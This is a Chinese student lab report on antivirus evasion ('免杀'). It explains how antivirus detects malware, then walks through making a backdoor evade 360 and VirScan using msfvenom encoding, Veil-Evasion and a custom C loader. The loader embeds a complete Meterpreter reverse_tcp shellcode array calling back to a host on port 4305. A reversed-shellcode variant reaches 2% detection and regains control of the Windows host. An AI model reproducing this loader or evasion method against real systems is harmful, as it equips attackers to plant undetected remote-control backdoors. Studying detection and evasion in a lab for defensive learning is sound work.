Exp3 免杀原理与实践_05齐帅
Exp3 免杀原理与实践#
20154305_齐帅###
想要弄懂免杀，一定得先把基础问题弄明白啊~~
一、基础问题回答#
（1）杀软是如何检测出恶意代码的？###
- -检测特征码：####
依靠分析总结出计算机病毒中常出现的部分
例如，作者名称，地址，执行关键步骤的部分代码，来作为特征码。将大量特征码保存在病毒库中，杀毒依靠检索程序代码是否和库中特征码是否吻合
优点：能较准确查杀；缺点：具有滞后性
- -启发式恶意软件检测：####
如果该程序的特征和行为与病毒程序类似，其匹配程度达到一定值就可以认为该程序是病毒程序
优点：能在一定程度上预防新型病毒；缺点：容易误报
- -基于行为检测：####
与启发式检测类似，只是单纯依靠监测程序行为来作为标准
（2）免杀是做什么？###
使恶意软件不被杀毒软件检测出来杀掉
（3）免杀的基本方法有哪些？###
- -改变特征码：####
- 依靠分片等方法尝试找出特征码区域，并对该区域代码进行编码
- 加壳，使其无法进行逆向，比对病毒库中的特征码
- -改变行为方式：####
例如之前注入所用到的反弹端口连接
二、开始实验测试#
弄清了这些问题，我就开始尝试对恶意代码进行伪装
1.原始版本##
将上此实验产生的后门 qishuai_backdoor.exe 文件直接拷贝到开启360的win主机下#####
直接被360逮到~~#####
添加信任以后放在 http://www.virscan.org/上扫描
48%的报毒率！！那些没查到的可能因为病毒太裸了吧~#####
接下来需要对其进行改装了
2.编码版本V1##
先对后门木马编码1次，qishuai_backdoor_v1_1.exe#####
46%的报毒率，仅仅降低了2%，那就编码10次试试，qishuai_backdoor_v1_10.exe#####
48%的报毒率？？,反而更高了，这个方法不咋靠谱的~~#####
3.veil-evasion版本 qishuai_VE_4
首先需要安装它
sudo apt-get install veil-evasion
下载好之后veil开始安装，一路YES
安装好之后选择evasion工具#####
选好后根据菜单提示在现有的这些工具中选一个TCP链接的payload#####
根据菜单提示设置参数#####
set LHOST kali_ip
set LPORT 4305
设置好之后开始生成病毒
可是我选择了25和28，不知道为啥生成都失败了，过程不看了，只有个
失败的结果：#####
可见，python和powershell都没有exe可执行文件###
不过生成文件存放的文件夹还是要记住的~
最后选择了一个用C语言生成的payload，成功了：#####
如上，设置好参数
起个名字，qishuai_VE_4#####
需要在上面的文件夹把exe文件拷贝到win主机上，当然我没找到那个文件夹，只好把那个文件夹复制到主机root目录下
cp -r 要复制的文件夹绝对地址 /root
这样就可以从/root中将文件拷贝到win主机，去检测一下吧
只有15%的报毒率了！！打开360软件试一试-->
被无情拦截，看来还不行- _ -###
4.C语言调用Shellcode版本##
在Kali下生成一个C语言格式的shellcode数组，回连的IP为Kali的IP，端口自定。#####
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.131 LPORT=4305 -f c
将shellcode字符串复制下来，然后在win主机编辑一个C语言程序，用VE编译运行#####
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>
const char met[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xef\x83"
"\x68\x02\x00\x10\xd1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
DWORD old=0;
BOOL ret=VirtualProtect((LPVOID)met,strlen(met),PAGE_EXECUTE_READWRITE,&old);
INT32 * addr;
addr = (INT32*)&met;
__asm;
{
call addr;
}
return 0;
}
找到exe可执行文件 qishuai_shellcode_C.exe，扫描一下吧####
12%的报毒率了，降低了不少####
回连一下kali主机试一试####
上面的几个后门没有回连，因为觉得用专业软件生成的木马功能应该没什么问题，这个C的木马担心编程出现错误，就回连试了一下~
按照上此实验的方法一顿操作之后成功控制win主机，没有问题！#####
5.C调用升级版本##
将shellcode代码部分前后颠倒，就是最后的放在最前，最前的放在最后加强一下~#####
先编写一个C程序将buf[]数组内容颠倒
int i；
char a[400];
for(i=430;i>=0;i--)
{
a[430-i]=buf[i];
}
for(i=0;i<431;i++)
printf("%x，"，a[i]);
大概就是这样，当时没截图，可能有错误~
将结果复制下来，去掉,再加上\x一顿整理，得到这个东西
再按照上面的C语言程序在VE下编译成exe文件，qishuai_shellcode_C_V2.exe#####
扫描一下吧~#####
可以的，不枉费我这么费劲，只有2%的报毒率！！！###
WHAT？？？？？难怪只有2%的报毒率。。。###
再改进吧，实验的时候给老师检查一个能免杀的
ok，现在改进好了，原因就是把shellcode逆序之后还要在调用的时候把它变回来才没有问题，改了一下上边的程序源代码，加一个循环倒置就行了，现在可以和360共存了，哈哈哈！！！回连也成功了！！！报毒率只有2%##
看图吧！！###
报毒率
和360共存
回连
